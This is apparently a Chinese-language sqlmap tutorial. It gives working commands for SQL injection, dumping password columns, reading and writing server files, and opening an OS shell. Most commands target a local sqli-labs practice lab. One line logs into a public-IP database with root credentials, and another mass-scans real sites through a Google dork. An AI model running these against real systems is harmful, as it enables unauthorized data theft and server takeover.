SQLMAP

有windows和linux两个版本使用,可跨系统进行操作,语法参数都相同,此处以kali linux为例进行操作

sqlmap --version
查看sqlmap版本
sqlmap -h
查看sqlmap帮助
sqlmap -hh
查看sqlmap高级帮助


使用sqlmap连接数据库
查看数据库banner信息
sqlmap -d "mysql://root:123456@47.208.229.216:3306/tiantianbao" -f --banner
查看数据库用户
sqlmap -d "mysql://root:123456@47.208.229.216:3306/tiantianbao" -f --banner --users


针对URL进行探测,使用-u或者-url参数
查看目标url连接数据库的banner信息
sqlmap -u "192.168.137.129/sqli-labs/Less-1/index.php/?id=1" --banner

sqlmap读取文件内目标
Sqlmap支持从不同类型的文件中读取目标进行Sql注入探测
1、-l从Burpsuite proxy或WebScarab proxy中读取Http 请求日志文件
sqlmap -l test(bp导出文件)
2、-x 从sitemap.xml站点地图文件中读取目标探测。
3、-m从多行文本格式文件读取多个目标,对多个目标进行探测。
sqlmap -m test.txt(自写的url)
4、-r从文本文件中读取Http请求作为Sql注入探测的目标。
sqlmap -r test.txt(bp导出请求的数据文件)
5、-C从配置文件sqlmap.conf中读取目标探测。
sqlmap google批量扫描注入
利用google hack语法进行扫描
sqlmap -g "inurl:\.php?id=1\""
sqlmap设置http请求方法
强制指定
--method=get
设置post提交参数
sqlmap -u '192.168.137.129/sqli-labs/Less-11/index.php' --data="uname=admin&passwd=admin&submit=Submit" -f --banner --dbs --users -f --fingerprint

sqlmap设置参数分隔符
get		;
post	& 
sqlmap设置cookie头
--cookie
--cookie-del
--load-cookies
--drop-sel-cookie
用于Web应用程序具有基于cookie的验证过程
利用cookie注入的漏洞
1.GET参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2.POST参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1"  --data="id=1"

3.cookie注入 (level>=2时才会检测cookie)  

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 2

4.user-agent注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3

5.referer注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3

6.host注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5
获取数据库信息

1.查看数据库

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs  --batch

2.查看数据库里面的表

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch

3.查看数据库表里面的列

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns   --batch

4.查看数据库列里面的具体的值

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password     --dump  --batch
暴力破解

使用条件:

1.MySQL数据库版本小于5.0,没有information——schema表。

2.Microssoft Access数据库。

3.当前用户没有权限读取系统中保存的数据。

*暴力破解中破解表名的文件位于common-tables.txt 中,同理破解列名的文件位于common-columns.txt 中

1.暴力破解表名

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"  -D security --common-tables --batch



2.暴力破解列名

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"  -D security -Tusers --common-columns --batch



读取文件/上传文件
1.读取文件

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"   --file-read "C:/post.txt"



2写入文件

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"   --file-write "/root/1.txt"

 --file-dest "C:/phpstudy/PHPTutorial/www/1.txt"

获取shell

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"  --os-shell

更多推荐

kali linux下sqlmap使用教程